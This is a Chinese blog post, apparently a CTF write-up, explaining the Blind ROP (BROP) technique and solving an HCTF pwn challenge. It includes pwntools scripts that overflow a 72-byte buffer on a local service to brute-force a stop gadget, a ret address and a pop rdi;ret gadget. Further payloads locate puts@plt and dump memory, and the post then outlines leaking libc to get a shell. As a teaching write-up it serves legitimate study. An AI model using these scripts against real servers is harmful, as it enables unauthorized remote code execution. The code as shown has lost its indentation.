基础栈溢出复习 四 之 BROP

<–more–>

前两天在360安全客看到了一篇文章,《格式化字符串blind pwn详细教程》,看了下内容,大概就是教我们如何利用格式化串漏洞dump 程序,但是在二进制漏洞中,以及CTF Pwn题型中,还有一种考点?说利用方式吧,叫Bind ROP。对于这些相关的东西,我们其实可以在浏览器搜索到,比如K0师傅《BROP Attack之Nginx远程代码执行漏洞分析及利用》,以及mctrain前辈在wooyun社区发布的《Blind Return Oriented Programming (BROP) Attack - 攻击原理》。其实都能很详细看到了解BROP的攻击原理,以及攻击样例。
当然这个也是《 基础栈溢出及其利用方式的》系列的一部分。

什么是BROP

那么我也只是在这里尽量让大家先明白,什么是BORP,以及BROP的攻击原理,以及在后面放一个最近CTF中,及HCTF –出题人跑路了的PWN题的详细分析。

BROP 原文:Blind Return Oriented Programming (BROP) Website

其核心要义就是,通过ROP的方法,远程攻击一个应用程序,劫持程序控制流程。其难点在于,我们并没有程序的源代码以及二进制程序。
详细的东西,我也不想再继续搬了,mctrain在文章讲得已经非常不错了,我在这里提供我的drop地址,不过大家少用阿,这玩意儿吃流量 Blind Return Oriented Programming (BROP) Attack - 攻击原理

大概总结下

看了 Drops的文章,我们大概可总结一下攻击流程

  • 如果有Canary 防护,需要通过brute-force暴力破解或者 作者提出的方法“stack reading”
  • 寻找stop gadget或者叫 hang gadget,这gadgaet使得程序进入了无限循环,并且hang,使得攻击者保持连接状态。(如blocking的系统调用 sleep)
  • 寻找可以利用的,即potentially useful gadgets。这里指useful指的是具有某些功能,并不会造成crash的gadget
  • 远程dump内存,(当然如果有格式化串,可以利用那也简便狠多,可以参考安全客文章《格式化字符串blind pwn详细教程》),如果没有,我们可能需要一个write的系统调用,传入一个socket文件描述符。
    write(int sock,void *buf,int len)
    转化成4条汇编指令就是
    1
    2
    3
    4
    pop %rdi ret
    pop %rsi ret
    pop %rdx ret
    call write ret

依次对应的是 %rdi->sock %rsi->buf %rdx->len
在栈上构造好这个四个gadget的内存地址,依次执行顺序调用就可以了(这当然是在我们解决掉Canary之后)

  • 在dump 内存的过程中,pop %rdx ret这样的gadget也许不容易找到,所以作者又提出另一种方法,利用 strcmp函数,达到相同效果

    • 所以之后的任务是:
    • 寻找BROP Gadget(注:什么是BROP Gadget 可在Drops仔细阅读)
    • 找到对用PLT项

      HCTF 之 出题人失踪了 (brop)

      了解了,攻击流程,以及攻击方法,我们就可以尝试做这个题目了。杭电的师傅已经,把源码公开在github上了。我们可以自己拿下来编译一下。
      已知信息
      比赛的时候,题目给了ip和端口 其他任何信息都没有。但是后面给出了bof的buffer大小作为提示。
      1
      2
      3
      4
      5
      6
      gdb-peda$ checksec
      CANARY : disabled
      FORTIFY : disabled
      NX : ENABLED
      PIE : disabled
      RELRO : Partial

    而且题目没有开Canary防护,所以我们并不需要突破Canary

经过测试,当输入的字符超过72字节,程序就不会再打印 No password, No game了。

首先寻找 stop gadget

这个地方,muhe师傅交了我一种方法,那就是利用pwntools的异常处理来检测。因为我们需要return address指向一块代码区域,当程序的执行流跳到那段区域之后,程序并不会crash,而是进入了无限循环,这时程序仅仅是hang在了那里,攻击者能够一直保持连接状态。于是,我们把这种类型的gadget,成为stop gadget,这种gadget对于寻找其他gadgets取到了至关重要的作用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
io = remote("127.0.0.1",10002)

def log_in_file(addr):
#f = open("gadgets.txt",'a')
#f = open('res.txt','a')
f = open('puts.txt','a')
f.write("the addr:0x%x\n"%addr)
f.close()

def find_stop_gadget(addr):
io = remote("127.0.0.1",10002)
payload = "A"*72 + p64(addr)
io.recvuntil("WelCome my friend,Do you know password?")
io.sendline(payload)
try:
io.recvline()
if(io.recv()!=None):
log.info("alie! at 0x%x" %addr)
log_in_file(addr)
io.close()
except EOFError as e:
io.close()
log.info("the connection is close at 0x%x" %addr)
start = 0x400000

while True:
start +=1
print "[*] Rand:{0}".format(start)
find_stop_gadget(start)
if start >0x40300000:
break

可能会得到多个gadget,找个好用的就可以了。

找useful gadget

由于这个题目实质是调用puts函数,不是write函数,所以我们并不需要三个gadget,只需要1个 pop rdi;ret就足够了


%rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函数参数,依次对应第1参数,第2参数。。。


那么如何得到一个 pop rdi;ret呢?我们设想,在64位的ELF中,通常存在一个pop r15;ret 对应的字节码为41 5f c3。后两字节码5f c3对应的汇编为pop rdi;ret。
如果有存在一个地址 addr,满足

1
2
3
Payload1 = 'a'*72 + l64(addr-1)+l64(0)+l64(ret) 
Payload2 = 'a'*72 + l64(addr)+l64(0)+l64(ret)
Payload3 = 'a'*72 + l64(addr+1) +l64(ret)

ret是一个返回函数,且有输出信息。那么我们就可以得到addr,即pop rdi;ret


在64位ELF中,通常存在一个pop r15;ret,对应的字节码为41 5f c3。后两字节码5f c3对应的汇编为pop rdi;ret。
如果addr就是指向的5f,那么addr-1就是指向41,Payload1 = ‘a’72 + l64(addr-1)+l64(0)+l64(0x400711) ,41和5f组成一个指令,pop r15出来,后面接返回地址0x400711,栈平衡满足要求。Payload2 = ‘a’72 + l64(addr)+l64(0)+l64(0x400711) ,pop rdi出来,也能正常返回。Payload3 = ‘a’*72 + l64(addr+1) +l64(0x400711) ,addr+1指向c3即ret,直接返回后返回0x400711


于是,我先去寻找这么一个ret,返回有输出信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def ret_addr(addr):
io = remote("127.0.0.1",10002)
payload = 'A'*72 +p64(addr) + p64(stop_gadget)
io.recvuntil("WelCome my friend,Do you know password?")
io.sendline(payload)
try:
io.recvline()
if (io.recv()!=None):
print io.recv()
# if "No password, no game" in io.recv():
io.info("find gadgets at 0x%x" % addr)
log_in_file(addr)
print "[*] the ret addr at 0x%x" % (addr)
io.close()
except EOFError as e:
io.close()
log.info("the connection is close at 0x%x" %addr)
start = 0x400000
count = 0
while True:
start += 1
ret_addr(start)
count += 1
if count >0x1000:
break

有了 ret,于是我可以开始寻找 pop rdi;ret了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def get_useful_gadget(addr):

io = remote("127.0.0.1",10002)
payload1 = 'A'*72 +p64(addr-1) + p64(0)+p64(ret)+p64(stop_gadget)
payload2 = 'A'*72 +p64(addr) + p64(0)+p64(ret)+p64(stop_gadget)
payload3 = 'A'*72 +p64(addr+1) +p64(ret)+p64(stop_gadget)
io.recvuntil("WelCome my friend,Do you know password?")
try:
io.sendline(payload1)
if io.recvuntil("WelCome my friend,Do you know password?"):
io.sendline(payload2)
if io.recvuntil("WelCome my friend,Do you know password?"):
io.sendline(payload3)
if io.recvuntil("WelCome my friend,Do you know password?"):
io.info("find gdgets at 0x%x" % addr)
log_in_file(addr)
io.close()
except EOFError as e:
io.close()
log.info("the connection is close at 0x%x" %addr)


start = 0x400000
# count = 0
while True:
start += 1
get_useful_gadget(start)

找到pop rdi;ret了 ,gadget 的需求我们达到了。

dump 程序

照理,这个时候我们应该可以开始dump程序了,但是紧接着一个问题来了,我们不知道put_plt的地址。我们知道,puts函数能打印字符串,于是我们设想构造一个payload来验证得到的是不是puts_plt的地址,例如

1
payload = 'A'*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)

如果打印前四个\字符为 \x7fELF,则addr为puts_plt
我找到的是 pop_rdi_ret = 0x4005d6

有了 gadget 和put_plt,我们就可以着手dump程序了。
首先我们需要构造一个leak的函数:

1
payload = 'a'*72 + p64(pop_rdi_ret) +p64(addr) + p64(puts_plt) +p64(stop_gadget)

这样就可以开始leak,但是还有一个问题,如果对一个\x00的地址进行leak,返回是没有结果的,因此如果返回没有结果,我们就可以确定这个地址的值为\x00,所以可以设置为\x00然后将地址加1进行dump。
所以我们需要一个判断:

1
2
if data == '':
data = '\x00'

基本这样,我们就可以dump文件了,当文件dump下来以后,我们就能很容易的得到一些got信息,那样我们可以更容易的去起shell


只要分别从0x400000和0x600000开始dump就可以。


leak 获取libc

当我们已经获取了got表信息后,那么我就可以进一步去leak函数,用search_Libc或者自己收集的libc 库查找相应的libc。那么我就可以进一步查询偏移,就可以构造payload 起shell了。

leak payload 也是相似的,就不重复了。
当然,我们这里也可以利用Pwntools的工具 Dynelf 来leak查询system地址,然后找一个地址写入/bin/sh\x00

最后一步就可以起shell了。

剩下的内容基本和我们一般的leak info 题目是一样的。

与我前面的文章,PlaidCTF 2013: ropasaurusrex的利用方式基本相同,由于篇幅原因就不继续写下去了。

参考链接

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 什么是BROP
    1. 1.1. 大概总结下
  2. 2. HCTF 之 出题人失踪了 (brop)
    1. 2.1. 首先寻找 stop gadget
    2. 2.2. 找useful gadget
    3. 2.3. dump 程序
    4. 2.4. leak 获取libc
    5. 2.5. 最后一步就可以起shell了。
  3. 3. 参考链接
,